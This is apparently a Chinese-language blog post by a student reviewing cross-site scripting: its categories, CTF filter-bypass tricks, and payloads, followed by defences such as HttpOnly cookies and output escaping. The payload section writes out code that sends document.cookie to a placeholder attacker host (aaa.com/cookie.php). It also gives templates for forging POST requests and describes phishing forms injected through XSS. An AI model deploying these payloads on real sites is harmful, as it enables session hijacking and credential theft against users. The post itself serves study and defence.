重新认识XSS

Author Avatar
ssssdl 3月 18, 2019

最近找实习的时候被问到里一个关于XSS的问题,觉得原来学的还不怎么够,决定稍微深入一波。

0x00 分类

  1. 反射性XSS
  2. 存储型XSS
  3. DOM based XSS

这里面存储型XSS危害最大,反射性和DOM的不同是DOM based XSS是通过修改页面的DOM节点来形成XSS,但是从效果上看和反射性XSS类似。

0x01 CTF中的常见的XSS绕过

做过一些题目总结大概就是下面几种:

  1. 编码绕过

    编码绕过,主要时针对一些服务端对数据的一些转码,常见的比如构造js输出\u003c \u003e这样的十六进制编码代替<>,还有url编码,以及&#x27;这样的html编码也可以绕过,比如白帽子讲web安全中的例子

    1
    2
    3
    <body>
    <a href=# onclick="alert('&#x27;&#x29;&#x3b;alert&#x28;&#x27;2');">test</a>
    </body>

    这段代码的执行结果就是相当于

    1
    2
    3
    <body>
    <a href=# onclick="alert('');alert('2');">test</a>
    </body>

    具体什么时候使用什么样的编码还要根据语境,推测开发者使用了什么样的过滤函数,然后有的时候sql注入的编码技巧放在xss也同样会起到作用,比如常见的宽字节什么的有的时候在构造xss时会起到独到的作用。

  2. 重写大小写等等绕过

    CTF以前会见到的就是重写或者大小写绕过,还有就是利用DOM XSS触发代替直接的<script>标签代码插入,现在基本比较少吧。

  3. 可利用事件和相似函数绕过

    事件最常见的就是<img src=# onerror=alert(1)>这种的,然后一些其他的DOM事件可以参考JavaScript HTML DOM 事件
    相似的函数也比较多吧,比如confirm(‘a’)代替alert这种的主要主要还是要看过滤情况,感觉现实应用中比较常见的XSS不成功的问题还是出现在转码上,利用DOM事件和特殊JS函数也都是简历在绕过了一些字符转义之后才能实现。

其实这些感觉总结的也并不全面,主要还是要靠具体情况具体分析,看看自己能控制的参数的位置,做了哪些过滤,是否有利用价值等等吧。具体问题具体分析。

0x02 一些playload和利用工具

最最常见的利用xss劫持用户cookie然后进行CSRF,这个可以自己搭建接收cookie的平台,也可以利用一些xss平台和工具实现,但是窃取cookie不是什么时候都有用,因此还比较常见还有利用xss使用户端执行恶意js代码后台直接发起一些get或者post请求,或者获取一些用户电脑和浏览器上的信息,还有就是比较新的js挖矿,Dos攻击,内网探测等,看过一些大佬的文章,大佬总能把XSS玩出各种花样。

先看一些payload

  1. 劫持cookie

    获取cookie:其实就是想办法发送document.cookie到攻击者事先准备好的互联网上的就收接口。发送的方式有很多,比较常用的是利用src的请求直接get发送比如

    1
    2
    3
    4
    5
    6
    7
    //稍微短一些可以
    <script>document.write("<iframe width=0 height=0 src='http://aaa.com/cookie.php?cookie="+document.cookie+"'></iframe>");</script>

    //或者直接加载远程脚本,然后脚本里面就可以想怎么发就怎么发了,列举书中提到的一个例子,xsspt上也用的类似的方式获取cookie:
    var img = document.createElement("img");
    img.src = "http://aaa.com/cookie.php?cookie="+document.cookie;
    document.body.appendChild(img);

    然后当攻击者获取到cookie可以直接在对应的网站F12 console里面输入document.cookie=窃取到的cookie,然后就可以模拟登录了,当然能是要在网站没有做对应的限制的情况下。如果网站进行了IP与cookie绑定,或者依靠HttpOnly使攻击者只获得了一些无关紧要的cookie,那这招就不好用了,就要想其他办法利用了。

  2. 构造GET或者POST请求

    因为不是什么时候盗取cookie都好用,有的时候获取不到cookie的时候,就需要跳过获取cookie、直接让用户发送一些我们需要的信息、或者使直接让用户的浏览器执行一些我们需要的操作。这就涉及到利用js构造一些GET和POST请求,让用户的浏览器自己执行攻击者想要的操作。然后用户发送GET操作代码可以直接参考上面的,但是这次就不是获取cookie了,而是直接使用户在当前网站做一些攻击者想要的操作。

    书上有一个例子就是在一个博客网站利用xss,使用户的浏览器发送一个删除博客文章的get请求,原理和get发送cookie一样,只是get请求的链接使删除文章的链接。

    主要说一下发送post请求。两种方法:ajax和构造from表单(这两种方法也可以发送get请求,就是相对复杂)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    //构造表单 可以 纯js 或者用innerHTML添加DOM文档 然后js执行submit()提交
    //直接用js
    var f = document.createElement("form");
    f.action = ""; //post提交的链接
    f.method = "post";
    document.body.appendChild(f);
    //添加参数
    var i1 = document.createElement("input");
    i1.name = "i";//参数名
    i1.value = "1";//参数值
    f.appendChild(i1);
    ...
    //类似这种可以添加很多参数
    f.submit();
    //在DOM文档中添加表单
    var addDiv = document.createElement("div");
    docment.body.appendChild(addDiv);
    addDiv.innerHTML = ""; //这里添加需要的表单 注意form表单加上id 以便发送 假设使test
    document.getElementById("test").submit();

    //ajax
    try{
    xhr=new XMLHttpRequest();
    }catch(e){
    xhr=newActiveXObject("Microsoft.XMLHTTP");
    }
    xhr.open("post","#",true);//# 提交到的链接
    xhr.setRequestHeader("content-type","application/x-www-form-urlencoded");
    xhr.send("a=hhhhh&b=admin");//提交的内容
    xhr.onreadystatechange=function(){
    if(xhr.readyState==4){
    if(xhr.status==200){
    ...
    //如果提交成功要进行的操作
    }
    }

    然后再DOM中添加表单的方法还可以用于XSS钓鱼,大致过程就是攻击者XSS向网页中添加一个表单,要求用户输入用户名密码,如果用户没有发现的话就会把自己的密码输入后发送给攻击者事先准备好的web接收接口。

  3. 一些信息收集用到的参数

    1
    2
    3
    navigator.userAgent  //用户浏览器版本
    document.location //页面的一些信息
    document.cookie //cookie

    突然发现这个好像是一个挺大的学问,可以依靠JS收集到的信息不止包括这些,还有可能识别用户安装的软件(迅雷),浏览器插件,电脑操作系统,电脑IP,等等很多方面,网上也能找到很多利用脚本,还可以看一些xss平台的源代码。

  4. 一些工具

0x03 关于XSS防御

  1. httpOlny

    在关键的cookie上添加HTTPOnly是一种比较常见的保护cookie的措施,虽然是市面上一种标准的做法,但也不是完全的安全,比如(CVE-2012-005),就通过了植入超大的cookie,然后通过报错页面得到受保护cookie。而且这只是一种保护cookie的做法,不能防御不需要盗取cookie的其他类型xss。 然后关于php添加httponly的一些代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    //php.ini中全局开启httponly
    ; Whether or not to add the httpOnly flag to the cookie, which makes it inaccessible to browser scripting languages such as JavaScript.
    ; http://php.net/session.cookie-httponly
    session.cookie_httponly =
    //代码中全局httponly
    ini_set("session.cookie_httponly", 1);
    //函数单独设置
    setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
    setrawcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
    //老版本header函数设置
    header("Set-Cookie: hidden=value; httpOnly");
    //等等
  2. 输入输出检查

    输入的时候可以稍微严格要求输入,不只是前端添加验证函数和正则,服务器端也尤其要严格过滤,如果需要转义注意输出的时候不要改变原意。然后输出的时候,可以用一些转义函数,比如php的htmlspecialchars()函数将&、"、'、<、> 这五个符号转化成html实体。还有更厉害的htmlentities(),转义全部字符为html实体字符等等。然后要注意前后端相配合合理的使用转义函数,正确的地方正确的编码转义,然后很多web前后端框架都有针对防御xss的转义函数,注意了解合理使用。

  3. XSS Filter

    比如Anti-Samy、HTMLPurify等等,用来检查一些比较长的文本中是否含有XSS。但是我也没有实际应用过,大致知道有这么个东西。

以上的方法也不能完全的防御XSS,还有一些比如DOM Based XSS需要合理的使用JS和HTML编码解码,还有各种比较偏门的XSS(Flash XSS)等等,需要编程人员时刻小心。

大佬的文章

FreeBuf: 经验分享 | XSS手工利用方式,感觉这个思路非常开阔,除了常见的盗取cookie,还讲解了利用XSS内网探测,挖矿,Dos攻击等。